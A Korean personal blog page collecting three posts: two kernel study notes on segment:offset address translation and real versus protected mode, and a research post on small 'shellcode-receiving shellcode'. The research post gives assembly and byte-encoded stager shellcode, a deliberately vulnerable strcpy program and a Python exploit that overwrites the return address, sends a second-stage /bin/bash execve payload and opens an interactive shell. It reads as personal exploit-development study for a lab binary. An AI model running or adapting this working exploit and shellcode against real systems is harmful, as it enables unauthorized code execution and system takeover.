>

Segment & Offset

Study/Kenrel 2015. 9. 21. 13:11

컴퓨터가 부팅하면서 디스크 첫 512바이트(MBR)를 램으로 읽어들인다.

이 과정에서 바이오스는 디스크에 있는 프로그램을 램의 0x07c00 번지에 복사한다.


0x07c00은 0x07c0:0000, 0x0000:7c00, 0x0700:0c00 등 많은 방법으로 표현할 수 있는데, 0x07c00 을 물리주소라 칭하고 0x07c0:0000 등을 논리주소라고 한다.


물리주소는 CPU와 RAM의 연걸선인 어드레스 버스에 실제로 나타나는 전기 신호이다.

논리주소는 프로그래머가 소스를 작성할 때와 기계어에서 사용된다. CPU에서 실행될 때는 이 논리주소를 물리주소로 변환시켜 사용함.


논리주소 -> 물리주소 변환 (Real Mode)

0x07c0:0000 => 0x7c00 + 0x0000 = 0x07c00

0x2004:0101 => 0x20040 + 0x0101 = 0x20141

(세그먼트):(오프셋) => (세그먼트 << 4) + 오프셋 = 물리주소

16진수로 세그먼트에서 오른쪽에 0하나 붙이고 오프셋 더하면 됨.


Protected Mode에서는 다른 방식으로 변환을 한다.



'Study > Kenrel' 카테고리의 다른 글

PIC 초기화  (0) 2015.09.24
IDT(Interrupt Descriptor Table)  (0) 2015.09.24
Protected Mode 진입  (0) 2015.09.23
GDT(Global Descriptor Table)  (0) 2015.09.23
Real Mode & Protected Mode  (0) 2015.09.21
Posted by Mungsul
,

Real Mode : 컴퓨터에 전원이 들어오고 CPU가 처음 움직이기 시작하면서 활동하는 모드.

프로그램이 한번에 한개씩 밖에 동작하지 못함.

동작하는 프로그램은 램의 모든 부분에 접근 가능.

하드웨어 제어가 간단해서 모든 하드웨어 세팅을 이 모드에서 수행하고 Protected Mode로 CPU를 전환한다.


Protected Mode : 유저모드와 커널모드로 나뉨.

커널에 의해 모든 프로그램이 제어되어 한꺼번에 실행되는 것처럼 보임.

또한, 각 프로그램들이 사용할 수 있는 램 영역도 커널이 정함

모든 프로그램이 커널에 의해 CPU 자원을 나눠갖고 무분별한 메모리 사용을 방지하게 된다.


출처 : 만들면서 배우는 OS 커널의 구조와 원리 Chapter 1

'Study > Kenrel' 카테고리의 다른 글

PIC 초기화  (0) 2015.09.24
IDT(Interrupt Descriptor Table)  (0) 2015.09.24
Protected Mode 진입  (0) 2015.09.23
GDT(Global Descriptor Table)  (0) 2015.09.23
Segment & Offset  (0) 2015.09.21
Posted by Mungsul
,

.global main

main:

cdq

mul %edx

push %edx

pop %ebx

movb $0xff,%dl

addb $0x3,%al

push %esp

pop %ecx

int $0x80

jmp *%ecx

위는 32비트전용 아래는 64비트 전용

.global main

main:

cdq

mul %rdx

push %rdx

pop %rdi

movb $0xff,%dl

push %rsp

pop %rsi

syscall

jmp *%rsi

cdq; mul %edx 이 구문을 이용하면 32비트일때 \x99\xf7\xe2 3바이트로 eax와 edx 둘을 0으로 초기화 시킬 수 있다. 64비트일때는 한바이트가 더 들어간다.

가끔 cdq가 안먹힐 때가 있는데, cdq를 빼고 xor %edx,%edx 넣어 16바이트 로 쓸 수도 있다.

이 쉘코드가 실행되면 read(0,buf,0xff)가 수행되고 buf로 jmp 하게된다. 

(디스크립터 부분을 변경하고 싶다면 %ebx를 변경시켜야한다.)

총 바이트 수가 15바이트(64비트는 14바이트)이므로 쉘코드를 쓸 수 있지만 버퍼 공간이 터무니 없이 작을 때, 사용이 가능하다.


#include<stdio.h>

char g[16];

int main()

{

char l[4];

read(0,g,24);

strcpy(l,g);

}

이런 소스의 바이너리가 있다고 치자.

이 바이너리는 우분투 14.04 32비트 기준으로 16 + 4(Return Address) 의 버퍼구조를 갖는다. 스택쿠키를 끄고 메모리에 실행권한을 준다.

16바이트는 쉘코드 공간으로 좀 부족하다. 이럴 때 쉘코드 수신 쉘코드를 쓴다.


#!/usr/bin/python


from socket import *

from struct import pack

import telnetlib


p = lambda x :pack("<L",x)


host = "localhost"

port = 7141


shellcode1 = "\x31\xd2\xf7\xe2\x52\x5b\xb2\xff\x04\x03\x54\x59\xcd\x80\xff\xe1"

shellcode2 = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"


g = 0x804a025


s = create_connection((host,port))

payload = ""

payload += shellcode1

payload += p(g)

raw_input()

s.send(payload + "\n")

s.send(shellcode2)

t = telnetlib.Telnet(host,port)

t.sock = s

t.interact()

테스트해보니 이상하게 cdq 구문이 먹히지 않았다. 그래서 cdq를 xor edx, edx로 바꾸고 넣어줬다. 

shellcode2는 쉘을 실행시키는 코드이다. 이런식으로 버퍼크기가 작을 때 사용할 수 있다.



* 2016_07_29 : cdq는 부호확장으로 eax가 음수면 edx가 0xffffffff가 된댄다.

그리고 gcc 컴파일할 때 -nostdlib 하면 main으로 엔트리 포인트 안바뀜

진모랑 오늘 이것저것 얘기하면서 쉘코드 줄여달라고 얘기했는데 짱많이 줄여줌 헤헤

xor ebx, ebx
mul ebx
mov al, 3
mov ecx, esp
dec edx
int 0x80
jmp ecx


'Research' 카테고리의 다른 글

arm exploitation using ROP  (0) 2015.02.26
arm exploitation using shellcode  (0) 2015.02.21
blind sql injection script template  (1) 2015.02.20
UAF에 대한 고찰  (1) 2014.03.09
Posted by Mungsul
,